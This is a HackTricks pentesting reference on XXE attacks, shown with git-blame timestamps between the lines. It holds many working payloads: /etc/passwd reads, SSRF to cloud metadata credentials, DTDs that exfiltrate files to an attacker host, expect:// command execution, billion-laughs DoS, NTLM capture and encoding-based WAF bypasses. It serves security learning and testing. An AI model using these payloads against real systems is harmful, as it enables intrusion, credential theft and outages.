hacktricks/pentesting-web/xxe-xee-xml-external-entity.md

842 lines
38 KiB
Markdown
Raw Normal View History

2022-09-30 10:43:59 +00:00
# XXE - XEE - XML External Entity
2022-04-28 16:01:33 +00:00
<details>
2024-02-03 14:45:32 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-03 14:45:32 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
2022-09-30 10:43:59 +00:00
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2024-02-03 14:45:32 +00:00
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
An XML External Entity attack is a type of attack against an application that parses XML input.
2022-09-30 10:43:59 +00:00
## XML Basics
2024-02-04 16:10:29 +00:00
**Most of this is based on this amazing Portswigger page:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities)
2024-02-04 16:10:29 +00:00
### Overview of Extensible Markup Language <a href="#overview-of-extensible-markup-language" id="overview-of-extensible-markup-language"></a>
2024-02-04 16:10:29 +00:00
Extensible Markup Language, commonly abbreviated as XML, is defined as a markup language that is utilized for the storage and transportation of data. Employing a structure reminiscent of a tree, composed of tags and data akin to HTML, XML distinguishes itself by not restricting to predefined tags. This flexibility allows for the utilization of tags named descriptively according to the data they encapsulate. Historically, XML gained prominence as a format for data transport, notably represented by its contribution to the acronym "AJAX" (where "X" stands for "XML"). However, its popularity has waned, with JSON emerging as the preferred format.
2024-02-04 16:10:29 +00:00
### Representation of Data Items in XML Through Entities <a href="#representation-of-data-items-in-xml-through-entities" id="representation-of-data-items-in-xml-through-entities"></a>
2024-02-04 16:10:29 +00:00
In XML, entities serve as mechanisms for representing data items within a document, offering an alternative to direct data insertion. The XML specification incorporates various built-in entities. For instance, `&lt;` and `&gt;` serve to represent the `<` and `>` characters, respectively. Given their role in demarcating XML tags, these metacharacters must often be depicted using entities when they are to appear within the data.
2024-02-04 16:10:29 +00:00
### Defining XML Elements
2024-02-04 16:10:29 +00:00
Element type declarations are critical in XML, as they establish the guidelines for the presence, types, and sequencing of elements within an XML document. Illustrative examples include:
2024-02-04 16:10:29 +00:00
- `<!ELEMENT stockCheck ANY>` signifies that the `<stockCheck></stockCheck>` element may enclose any type of object.
- `<!ELEMENT stockCheck EMPTY>` dictates that the `<stockCheck></stockCheck>` element should remain devoid of content.
- `<!ELEMENT stockCheck (productId,storeId)>` specifies that the `<stockCheck>` element may only contain `<productId>` and `<storeId>` as child elements.
2024-02-04 16:10:29 +00:00
### Introduction to Document Type Definition <a href="#introduction-to-document-type-definition" id="introduction-to-document-type-definition"></a>
2024-02-04 16:10:29 +00:00
Document Type Definition (DTD) plays a pivotal role in XML by providing declarations that can dictate an XML document's structure, permissible data types, and more. The `DOCTYPE` element, which is optional and positioned at the beginning of an XML document, can declare a DTD. DTDs may be categorized as "internal" when fully embedded within a document, "external" when loaded from an external source, or a combination of both.
2024-02-04 16:10:29 +00:00
### Utilization of Custom Entities in XML <a href="#utilization-of-custom-entities-in-xml" id="utilization-of-custom-entities-in-xml"></a>
2024-02-04 16:10:29 +00:00
XML facilitates the definition of custom entities within a DTD. An example declaration:
`<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>`
2024-02-04 16:10:29 +00:00
Such a declaration indicates that the entity reference `&myentity;` within the document will substitute with "my entity value".
2024-02-04 16:10:29 +00:00
### Incorporation of External Entities in XML <a href="#incorporation-of-external-entities-in-xml" id="incorporation-of-external-entities-in-xml"></a>
2024-02-04 16:10:29 +00:00
External entities in XML are a subtype of custom entities, characterized by their definitions being external to the DTD. These entities utilize the `SYSTEM` keyword and necessitate a URL specifying the location from which the entity's value is to be retrieved, potentially enabling [XML external entity attacks](https://portswigger.net/web-security/xxe).
2024-02-04 16:10:29 +00:00
### Exploiting XML Parameter Entities for XXE Detection
2024-02-04 16:10:29 +00:00
In scenarios where standard entities are ineffective for exploiting XXE vulnerabilities due to validation or XML parser hardening, XML parameter entities may be employed. Distinguished by the inclusion of a percent character preceding the entity name and referenced using the same character, XML parameter entities are exclusively referenced within the DTD. They can facilitate blind XXE detection through out-of-band methods, exemplified by initiating a DNS lookup and HTTP request to an attacker-controlled domain, thereby confirming the exploit's success.
2022-09-30 10:43:59 +00:00
## Main attacks
2024-02-04 16:10:29 +00:00
**[Most of these attacks were tested using the awesome Portswiggers XEE labs: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)**
2022-09-30 10:43:59 +00:00
### New Entity test
In this attack I'm going to test if a simple new ENTITY declaration is working
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
2020-11-20 10:55:52 +00:00
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
```
![](<../.gitbook/assets/image (220).png>)
2022-09-30 10:43:59 +00:00
### Read file
Lets try to read `/etc/passwd` in different ways. For Windows you could try to read: `C:\windows\system32\drivers\etc\hosts`
2022-09-30 10:43:59 +00:00
In this first case notice that SYSTEM "_\*\*file:///\*\*etc/passwd_" will also work.
```markup
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```
![](<../.gitbook/assets/image (221).png>)
This second case should be useful to extract a file if the web server is using PHP (Not the case of Portswiggers labs)
```markup
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
In this third case notice we are declaring the `Element stockCheck` as ANY
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
2020-11-20 10:55:52 +00:00
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
```
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (222) (1).png>)
2022-09-30 10:43:59 +00:00
### Directory listing
2021-08-03 11:46:59 +00:00
In **Java** based applications it might be possible to **list the contents of a directory** via XXE with a payload like (just asking for the directory instead of the file):
2021-08-03 11:46:59 +00:00
```markup
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
```
2022-09-30 10:43:59 +00:00
### SSRF
2021-08-23 10:40:09 +00:00
An XXE could be used to abuse a SSRF inside a cloud
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```
2022-09-30 10:43:59 +00:00
### Blind SSRF
2021-08-23 10:40:09 +00:00
Using the **previously commented technique** you can make the server access a server you control to show it's vulnerable. But, if that's not working, maybe is because **XML entities aren't allowed**, in that case you could try using **XML parameter entities**:
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
2022-09-30 10:43:59 +00:00
### "Blind" SSRF - Exfiltrate data out-of-band
**In this occasion we are going to make the server load a new DTD with a malicious payload that will send the content of a file via HTTP request (for multi-line files you could try to ex-filtrate it via** _**ftp://**_**). This explanation as taken from** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**
An example of a malicious DTD to exfiltrate the contents of the `/etc/hostname` file is as follows:
```markup
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```
This DTD carries out the following steps:
* Defines an XML parameter entity called `file`, containing the contents of the `/etc/passwd` file.
* Defines an XML parameter entity called `eval`, containing a dynamic declaration of another XML parameter entity called `exfiltrate`. The `exfiltrate` entity will be evaluated by making an HTTP request to the attacker's web server containing the value of the `file` entity within the URL query string.
* Uses the `eval` entity, which causes the dynamic declaration of the `exfiltrate` entity to be performed.
* Uses the `exfiltrate` entity, so that its value is evaluated by requesting the specified URL.
The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own webserver. For example, the attacker might serve the malicious DTD at the following URL:\
`http://web-attacker.com/malicious.dtd`
Finally, the attacker must submit the following XXE payload to the vulnerable application:
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
This XXE payload declares an XML parameter entity called `xxe` and then uses the entity within the DTD. This will cause the XML parser to fetch the external DTD from the attacker's server and interpret it inline. The steps defined within the malicious DTD are then executed, and the `/etc/passwd` file is transmitted to the attacker's server.
2022-09-30 10:43:59 +00:00
### Error Based(External DTD)
**In this case we are going to make the server loads a malicious DTD that will show the content of a file inside an error message (this is only valid if you can see error messages).** [**Example from here.**](https://portswigger.net/web-security/xxe/blind)
You can trigger an XML parsing error message containing the contents of the `/etc/passwd` file using a malicious external DTD as follows:
```markup
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```
This DTD carries out the following steps:
* Defines an XML parameter entity called `file`, containing the contents of the `/etc/passwd` file.
* Defines an XML parameter entity called `eval`, containing a dynamic declaration of another XML parameter entity called `error`. The `error` entity will be evaluated by loading a nonexistent file whose name contains the value of the `file` entity.
* Uses the `eval` entity, which causes the dynamic declaration of the `error` entity to be performed.
* Uses the `error` entity, so that its value is evaluated by attempting to load the nonexistent file, resulting in an error message containing the name of the nonexistent file, which is the contents of the `/etc/passwd` file.
2020-11-20 10:55:52 +00:00
Invoke the external DTD error with:
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
And you should see the contents of the file inside error message of the response of the web server.
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (223) (1).png>)
2022-09-30 10:43:59 +00:00
_**Please notice that external DTD allows us to include one entity inside the second (****`eval`****), but it is prohibited in the internal DTD. Therefore, you can't force an error without using an external DTD (usually).**_
2022-09-30 10:43:59 +00:00
### **Error Based (system DTD)**
2024-02-04 16:10:29 +00:00
So what about blind XXE vulnerabilities when **out-of-band interactions are blocked** (external connections aren't available)?.
2024-02-04 16:10:29 +00:00
A loophole in the XML language specification can **expose sensitive data through error messages when a document's DTD blends internal and external declarations**. This issue allows for the internal redefinition of entities declared externally, facilitating the execution of error-based XXE attacks. Such attacks exploit the redefinition of an XML parameter entity, originally declared in an external DTD, from within an internal DTD. When out-of-band connections are blocked by the server, attackers must rely on local DTD files to conduct the attack, aiming to induce a parsing error to reveal sensitive information.
2024-02-04 16:10:29 +00:00
Consider a scenario where the server's filesystem contains a DTD file at `/usr/local/app/schema.dtd`, defining an entity named `custom_entity`. An attacker can induce an XML parsing error revealing the contents of the `/etc/passwd` file by submitting a hybrid DTD as follows:
2024-02-04 16:10:29 +00:00
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
2024-02-04 16:10:29 +00:00
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```
2024-02-04 16:10:29 +00:00
The outlined steps are executed by this DTD:
2024-02-04 16:10:29 +00:00
- The definition of an XML parameter entity named `local_dtd` includes the external DTD file located on the server's filesystem.
- A redefinition occurs for the `custom_entity` XML parameter entity, originally defined in the external DTD, to encapsulate an [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). This redefinition is designed to elicit a parsing error, exposing the contents of the `/etc/passwd` file.
- By employing the `local_dtd` entity, the external DTD is engaged, encompassing the newly defined `custom_entity`. This sequence of actions precipitates the emission of the error message aimed for by the exploit.
2024-02-04 16:10:29 +00:00
**Real world example:** Systems using the GNOME desktop environment often have a DTD at `/usr/share/yelp/dtd/docbookx.dtd` containing an entity called `ISOamso`
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
2020-11-20 10:55:52 +00:00
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
![](<../.gitbook/assets/image (224).png>)
As this technique uses an **internal DTD you need to find a valid one first**. You could do this **installing** the same **OS / Software** the server is using and **searching some default DTDs**, or **grabbing a list** of **default DTDs** inside systems and **check** if any of them exists:
```markup
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
2024-02-04 16:10:29 +00:00
For more information check [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
2022-09-30 10:43:59 +00:00
### Finding DTDs inside the system
2021-05-01 17:36:21 +00:00
In the following awesome github repo you can find **paths of DTDs that can be present in the system**:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
2021-05-01 17:36:21 +00:00
Moreover, if you have the **Docker image of the victim system**, you can use the tool of the same repo to **scan** the **image** and **find** the path of **DTDs** present inside the system. Read the [Readme of the github](https://github.com/GoSecure/dtd-finder) to learn how.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
2022-09-30 10:43:59 +00:00
### XXE via Office Open XML Parsers
2024-02-03 16:02:14 +00:00
For a more in depth explanation of this attack, **check the second section of [this amazing post](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) from Detectify**.
2024-02-03 16:02:14 +00:00
The ability to **upload Microsoft Office documents is offered by many web applications**, which then proceed to extract certain details from these documents. For instance, a web application may allow users to import data by uploading an XLSX format spreadsheet. In order for the parser to extract the data from the spreadsheet, it will inevitably need to parse at least one XML file.
2024-02-03 16:02:14 +00:00
To test for this vulnerability, it is necessary to create a **Microsoft Office file containing an XXE payload**. The first step is to create an empty directory to which the document can be unzipped.
2024-02-03 16:02:14 +00:00
Once the document has been unzipped, the XML file located at `./unzipped/word/document.xml` should be opened and edited in a preferred text editor (such as vim). The XML should be modified to include the desired XXE payload, often starting with an HTTP request.
2024-02-03 16:02:14 +00:00
The modified XML lines should be inserted between the two root XML objects. It is important to replace the URL with a monitorable URL for requests.
2024-02-03 16:02:14 +00:00
Finally, the file can be zipped up to create the malicious poc.docx file. From the previously created "unzipped" directory, the following command should be run:
2024-02-03 16:02:14 +00:00
Now, the created file can be uploaded to the potentially vulnerable web application, and one can hope for a request to appear in the Burp Collaborator logs.
2022-09-30 10:43:59 +00:00
### Jar: protocol
2021-05-01 17:36:21 +00:00
The `jar` protocol is only available on **Java applications**. It allows to access files inside a **PKZIP** file (`.zip`, `.jar`, ...) and works for local and remote files:
2021-05-01 17:36:21 +00:00
```
2021-05-01 17:36:21 +00:00
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
To be able to access files inside PKZIP files is **super useful to abuse XXE via system DTD files.** Check [this section to learn how to abuse system DTD files](xxe-xee-xml-external-entity.md#error-based-system-dtd).
2021-05-01 17:36:21 +00:00
{% endhint %}
2022-09-30 10:43:59 +00:00
#### Behind the scenes
2021-05-01 17:36:21 +00:00
1. It makes an HTTP request to load the zip archive. `https://download.host.com/myarchive.zip`
2. It saves the HTTP response to a temporary location. `/tmp/...`
3. It extracts of the archive.
4. It reads the `file.zip`
5. It delete temporary files.
2021-11-30 16:46:07 +00:00
Note that it's possible to stop the flow in the second step. The trick is to never close the connection when serving the file. [This tools can be useful](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution): one in python `slow_http_server.py` and one in java`slowserver.jar`.
2021-05-01 17:36:21 +00:00
Once the server has downloaded your file, you need to find its location by browsing the temp directory. Being random, the file path can't be predict in advance.
![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png)
2021-05-01 17:36:21 +00:00
{% hint style="danger" %}
Writing files in a temporary directory can help to **escalate another vulnerability that involves a path traversal** (such as local file include, template injection, XSLT RCE, deserialization, etc).
2021-05-01 17:36:21 +00:00
{% endhint %}
2022-09-30 10:43:59 +00:00
### XSS
```markup
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
```
2022-09-30 10:43:59 +00:00
### DoS
2022-09-30 10:43:59 +00:00
#### Billion Laugh Attack
```markup
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```
2022-09-30 10:43:59 +00:00
#### Yaml Attack
```markup
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
2022-09-30 10:43:59 +00:00
#### Quadratic Blowup Attack
![](<../.gitbook/assets/image (531).png>)
2022-09-30 10:43:59 +00:00
#### Getting NTML
On Windows hosts it is possible to get the NTML hash of the web server user by setting a responder.py handler:
```
Responder.py -I eth0 -v
```
and by sending the following request
```
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
Then you can try to crack the hash using hashcat
2022-09-30 10:43:59 +00:00
## Hidden XXE Surfaces
2022-09-30 10:43:59 +00:00
### XInclude
2024-02-04 16:10:29 +00:00
In some scenarios, **client-sent data is incorporated into an XML document by server-side processes before parsing**. This typically occurs when client data is integrated into a **backend SOAP request**, subsequently handled by a SOAP service on the backend.
2024-02-04 16:10:29 +00:00
Performing a traditional XXE (XML External Entity) attack proves challenging in these instances due to the limited control over the XML document's entirety, specifically the inability to alter or introduce a `DOCTYPE` element. However, leveraging `XInclude`, a feature of the XML standard that enables the assembly of an XML document from smaller sub-documents, presents a workaround. This approach allows for an `XInclude` attack within any data element of an XML document, making it feasible in cases where control is restricted to an individual piece of data embedded into a server-generated XML document.
2024-02-04 16:10:29 +00:00
To initiate an `XInclude` attack, the inclusion of the `XInclude` namespace is required, along with the specification of the file path intended for inclusion. The following example demonstrates how such an attack might be structured:
2024-02-04 16:10:29 +00:00
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
2024-02-04 16:10:29 +00:00
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
2022-09-30 10:43:59 +00:00
### SVG - File Upload
2024-02-04 16:10:29 +00:00
Files uploaded by users to certain applications, which are then processed on the server, can exploit vulnerabilities in how XML or XML-containing file formats are handled. Common file formats like office documents (DOCX) and images (SVG) are based on XML.
2024-02-04 16:10:29 +00:00
When users **upload images**, these images are processed or validated server-side. Even for applications expecting formats such as PNG or JPEG, the **server's image processing library might also support SVG images**. SVG, being an XML-based format, can be exploited by attackers to submit malicious SVG images, thereby exposing the server to XXE (XML External Entity) vulnerabilities.
2024-02-04 16:10:29 +00:00
An example of such an exploit is shown below, where a malicious SVG image attempts to read system files:
2024-02-04 16:10:29 +00:00
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
2024-02-04 16:10:29 +00:00
Another method involves attempting to **execute commands** through the PHP "expect" wrapper:
2024-02-04 16:10:29 +00:00
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
```
2024-02-04 16:10:29 +00:00
In both instances, the SVG format is used to launch attacks that exploit the XML processing capabilities of the server's software, highlighting the need for robust input validation and security measures.
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
**Note the first line of the read file or of the result of the execution will appear INSIDE the created image. So you need to be able to access the image SVG has created.**
2022-09-30 10:43:59 +00:00
### **PDF - File upload**
2020-10-15 13:16:06 +00:00
Read the following post to **learn how to exploit a XXE uploading a PDF** file:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %}
2020-10-15 13:16:06 +00:00
2022-09-30 10:43:59 +00:00
### Content-Type: From x-www-urlencoded to XML
2020-11-20 10:55:52 +00:00
If a POST request accepts the data in XML format, you could try to exploit a XXE in that request. For example, if a normal request contains the following:
```markup
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
```
2020-11-20 10:55:52 +00:00
Then you might be able submit the following request, with the same result:
```markup
2020-11-17 16:58:54 +00:00
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```
2022-09-30 10:43:59 +00:00
### Content-Type: From JSON to XEE
To change the request you could use a Burp Extension named “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
```markup
Content-Type: application/json;charset=UTF-8
2020-11-20 10:55:52 +00:00
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
```
```markup
Content-Type: application/xml;charset=UTF-8
2020-11-20 10:55:52 +00:00
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
```
Another example can be found [here](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
2022-09-30 10:43:59 +00:00
## WAF & Protections Bypasses
2022-09-30 10:43:59 +00:00
### Base64
```markup
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
This only work if the XML server accepts the `data://` protocol.
2022-09-30 10:43:59 +00:00
### UTF-7
2021-11-30 16:46:07 +00:00
You can use the \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transform to UTF-7.
```markup
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```
```markup
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
2022-09-30 10:43:59 +00:00
### File:/ Protocol Bypass
2021-08-23 12:33:52 +00:00
If the web is using PHP, instead of using `file:/` you can use **php wrappers**`php://filter/convert.base64-encode/resource=` to **access internal files**.
If the web is using Java you may check the [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
2022-09-30 10:43:59 +00:00
### HTML Entities
2021-08-23 12:33:52 +00:00
Trick from [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
You can create an **entity inside an entity** encoding it with **html entities** and then call it to **load a dtd**.\
2021-11-30 16:46:07 +00:00
Note that the **HTML Entities** used needs to be **numeric** (like \[in this example]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
2021-08-23 12:33:52 +00:00
```markup
2022-04-05 22:24:52 +00:00
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
2021-08-23 12:33:52 +00:00
<data>
<env>&exfil;</env>
</data>
```
DTD example:
```markup
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
